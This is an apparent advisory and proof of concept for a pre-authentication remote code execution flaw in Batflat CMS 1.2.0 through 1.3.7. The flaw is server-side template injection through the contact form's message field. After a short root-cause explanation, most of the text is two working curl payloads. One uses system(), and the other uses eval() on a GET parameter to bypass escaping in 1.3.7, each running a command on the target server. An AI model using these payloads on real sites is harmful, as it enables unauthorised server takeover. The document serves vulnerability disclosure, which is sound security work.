
Advisory and proof-of-concept for CVE-2026-111559, a pre-auth RCE in Batflat CMS 1.2.0-1.3.7 via SSTI in the contact form, with curl PoCs and version-specific bypasses.
Pre-auth RCE in Batflat CMS via SSTI in the contact form.
Advisory: https://cert.pl/en/posts/2026/11/CVE-2026-111559/
Affected versions: 1.2.0 through 1.3.7
CWE-1336 | CVSS 4.0: 9.3 CRITICAL
The contact form at /contact passes user input to the template engine. The engine re-parses its own output, so {?=...?} tags in the message field get evaluated as PHP.
In 1.2.0-1.3.6 the sanitization return value is discarded so raw input reaches the engine. In 1.3.7 it's captured, but htmlspecialchars doesn't escape { ? = ( ) ; so template tags still work.
curl -d "name=a&[email protected]&subject=a&send-email=1&title=" --data-urlencode 'message={?=system(chr(105).chr(100))?}' http://target/contact
On 1.3.7, quotes are escaped so pull the code from GET instead:
curl -d "name=a&[email protected]&subject=a&send-email=1&title=" --data-urlencode 'message={?=eval(reset($_GET))?}' 'http://target/contact?x=system("id");'